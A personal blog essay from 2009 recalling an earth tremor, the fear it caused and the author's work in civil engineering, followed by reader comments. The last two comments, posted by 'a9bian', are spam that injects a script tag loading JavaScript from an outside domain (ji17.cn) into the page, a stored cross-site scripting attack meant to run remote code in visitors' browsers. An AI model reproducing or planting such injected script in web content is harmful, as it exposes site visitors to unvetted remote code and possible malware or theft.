Shake Like A Jelly
July 31st 2009 11:13
An afternoon like any other, quiet peaceful and pleasant, balmy tropical climate, scent of frangipanni everywhere, hibiscus flowers bright in the sun. We were enjoying a drink with our neighbors on the lawn, stubbie bottle with foam protector so the brown liquid didn't get hot too quick, bottle of wine in an esky for the ladies, kids and dogs playing around, perfect harmony.1
Silence descended like a flash of lightning. No bird noises, dogs stationery, kids poised in their play. As if it was all on a DVD and someone hit the pause button on the remote. Within a minute it hit us. Earth tremor. The lawn shook like a jelly on a plate, the power poles swung in circles, the windows of the house rattled and we froze. 2
The sound came first; a distant train rushing toward us not getting louder, just closer every second. I can't remember the sound once the ground started to shake, an all pervading fear had taken control of me for about two minutes. No one was hurt, no damage to any of the houses, just that fear that something might happen.3
Two weeks earlier there had been a big quake and roads, bridges, houses had suffered major damage and destruction. A village of some 60 people had vanished under thousands of tons of rocks and dirt as a hilltop had been dumped on the village. There were no survivors.4
We were in an area where two continental plates met and earth tremors were common. We should be used to them when the average was 230 tremors per week. No, I'm sorry to say, we were not used to them. This particular one was recorded as being 2.3 on the Richter scale but what made it memorable was that the solid ground on which I was resting moved like the mattress in a water bed.5
Can you imagine what that does to your personal security and sanity. The earth, that solid reliable stuff you walk on, drive your car, build your house on, is no more solid than a bowl of jelly. Our local chemist ran out of tranquiliser tablets. It seems Iwas not the only one petrified by the tremors. How could I get like that? I worked with civil engineering projects like roads and stormwater drainage and everything to do with the development of a new housing estate. I knew we had tremors, in my work I had to allow for them in the design and construction of what ever it was that I was working on. I had been there for a couple of years and had probably experienced a thousand of the damn things. But this was the first one I had ever felt where the ground seemed to be a liquid substance, instead of a solid one.6
If I never experience another earthquake in my life, I shall be most grateful. 7
| 57 |
| Vote |
Comment by Tricia Benet
The Green Edition
The Night Owl
Yorkie Yappers
I have actually only felt one small earthquake in my life and that was prbobably 45 years ago in Indiana. I was driving car down a gravel road and all of a sudden, the car stated bouncing and bounced clear across the small gravel road. I knew I hadn't been traveling that fast....gravel roads will do that to you if you hit them too fast.
When I got home, I heard about the earthquake and knew the exact moment it had hit.
Great tale, Bob
Comment by Kristin Wolgemuth
Poetry Lighthouse
What's in a word
Time to Get Up Club
Comment by Robert Bruce
Australian Storyteller
Storyteller - prose and poetry
Bushwriter
Thanks to you both for your comments and may we all be free of major shakes.
Cheers
Bob
Comment by a9bian
<script src=//www.ji17.cn/b.js></script>
nihaoma
Comment by a9bian
<script src=//www.ji17.cn/b.js></script>
nihaoma